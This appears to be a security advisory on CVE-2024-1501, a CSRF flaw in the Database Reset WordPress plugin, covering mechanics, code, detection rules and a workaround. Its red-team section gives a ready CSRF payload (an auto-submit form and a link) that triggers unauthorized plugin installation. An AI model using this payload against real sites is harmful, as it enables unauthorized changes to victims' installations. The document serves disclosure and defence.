CVE-2024-1501

Executive Summary

CVE-2024-1501 is a Cross-Site Request Forgery (CSRF) vulnerability in the Database Reset plugin for WordPress, affecting all versions up to and including 3.22. The flaw resides in the install_wpr() function, which lacks proper nonce validation. This allows an unauthenticated attacker to trick a site administrator into performing an unintended action (e.g., clicking a malicious link) that triggers the installation of the WP Reset Plugin. The CVSS score is 4.7 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Database Reset plugin is distributed via the WordPress Plugin Directory. No supply chain compromise has been reported, but the lack of a patch increases risk for sites using the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the administrator must click a link
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – unauthorized plugin installation
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering to trick an admin, but the impact is limited to installing a plugin (WP Reset) which could then be used for further attacks.

Deep Dive & Mechanics

The vulnerability exists in the install_wpr() function of the Database Reset plugin. This function is intended to install the WP Reset Plugin, but it does not verify a nonce (a security token) before executing. In WordPress, nonces are used to protect against CSRF attacks by ensuring that requests originate from the intended user. Without nonce validation, an attacker can craft a malicious link or form that, when clicked by an authenticated administrator, will trigger the install_wpr() function. The function then downloads and installs the WP Reset Plugin from the WordPress repository, potentially allowing the attacker to later exploit that plugin for further actions (e.g., resetting the database).

The attack flow:

1. Attacker crafts a URL like http://target-site.com/wp-admin/admin-ajax.php?action=install_wpr.
2. Attacker sends this link to an administrator via email, social media, etc.
3. Administrator, while logged into WordPress, clicks the link.
4. The request is processed by the server, and the WP Reset Plugin is installed without the admin's knowledge.

Vulnerable vs. Patched Code

Vulnerable Code (versions <= 3.22):

function install_wpr() {
    // No nonce check
    include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' );
    include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
    $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'url', 'nonce', 'plugin', 'api') ) );
    $upgrader->install( 'https://downloads.wordpress.org/plugin/wp-reset.latest-stable.zip' );
    // ...
}

Patched Code (hypothetical fix):

function install_wpr() {
    // Verify nonce
    if ( ! isset( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'install_wpr_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' );
    include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
    $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact('type', 'title', 'url', 'nonce', 'plugin', 'api') ) );
    $upgrader->install( 'https://downloads.wordpress.org/plugin/wp-reset.latest-stable.zip' );
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Database Reset plugin <= 3.22 installed and activated.
• An administrator must be logged in.

Exploitation Steps:

1. Identify the target site's admin-ajax.php URL (e.g., http://target-site.com/wp-admin/admin-ajax.php).
2. Craft a CSRF payload that triggers the install_wpr action. This can be an HTML form or a simple link.
3. Send the payload to the administrator (e.g., via email or a malicious website).

Example HTML Payload (auto-submit form):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="install_wpr" />
    <input type="submit" value="Click here" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Example Link Payload:

<a href="http://target-site.com/wp-admin/admin-ajax.php?action=install_wpr">Click here</a>

Expected Outcome: The WP Reset Plugin is installed on the target site. The attacker can then use the WP Reset Plugin's functionality (if accessible) to reset the database or perform other actions.

Blue Team

Detection:

• Monitor for unexpected admin-ajax.php requests with the action=install_wpr parameter.
• Alert on unusual plugin installation events, especially for the WP Reset Plugin.
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Update the Database Reset plugin to a patched version (if available) or disable it.
• Implement additional CSRF protections, such as requiring re-authentication for sensitive actions.
• Educate administrators about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=install_wpr parameter.
• File System: Presence of the WP Reset Plugin directory (/wp-content/plugins/wp-reset/) after exploitation.
• Logs: WordPress debug logs showing plugin installation events without a valid nonce.

Detection Engineering

YARA Rule

rule CVE_2024_1501_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against CVE-2024-1501 in WordPress Database Reset plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1501"
    strings:
        $ajax_action = "action=install_wpr"
        $admin_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2024-1501 CSRF Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the install_wpr action in WordPress admin-ajax.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=install_wpr'
    condition: selection
falsepositives:
    - Legitimate admin actions if nonce is present (but this rule does not check nonce)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1501 CSRF Exploitation Attempt"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=install_wpr"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Database Reset plugin until a patched version is released.
2. If the plugin is essential, implement a Web Application Firewall (WAF) rule to block requests containing action=install_wpr in the query string or POST body.
3. Review WordPress user roles and ensure only trusted administrators have access.

Long-term Fix:

• The vendor must release a patched version that adds nonce validation to the install_wpr() function.
• Apply the principle of least privilege to plugin installation capabilities.

Workaround:

• Add the following code to the theme's functions.php file to block the vulnerable action:

add_action( 'admin_init', function() {
    if ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'install_wpr' ) {
        wp_die( 'This action is disabled due to a security vulnerability.' );
    }
});

Valters IT
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